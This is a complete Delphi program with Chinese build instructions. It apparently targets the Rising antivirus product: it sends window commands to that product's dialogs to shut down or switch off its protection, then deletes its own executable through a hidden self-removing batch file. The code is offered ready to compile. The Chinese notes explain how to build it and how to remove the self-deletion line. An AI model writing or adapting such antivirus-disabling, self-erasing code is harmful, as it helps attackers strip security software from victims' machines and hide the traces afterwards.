program Project1;
uses
Windows, Messages, SysUtils;procedure DeleteMe;
var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformation; StartUpInfo: TStartupInfo; begin BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat'; AssignFile(BatchFile, BatchFileName); Rewrite(BatchFile);Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"'); Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try'); Writeln(BatchFile, 'del %0'); CloseFile(BatchFile);FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow := SW_HIDE; if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then begin CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); end; end; procedure StopRising; var hWindow: HWND; lpClassName: array[0..20] of char; begin hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST); repeat GetClassName(hWindow, lpClassName, 20); if lpClassName = '#32770' then //判断搜索窗口的类名 PostMessage(hWindow, WM_COMMAND,40027,0); PostMessage(hWindow, WM_COMMAND,2775,0); PostMessage(hWindow, WM_COMMAND,32776,0); hWindow := GetWindow(hWindow, GW_HWNDNEXT); until hWindow = 0; end; begin StopRising; //调用 DeleteMe; end.把全部内容拷贝到 Project1.dpr 中。在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件。
程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可。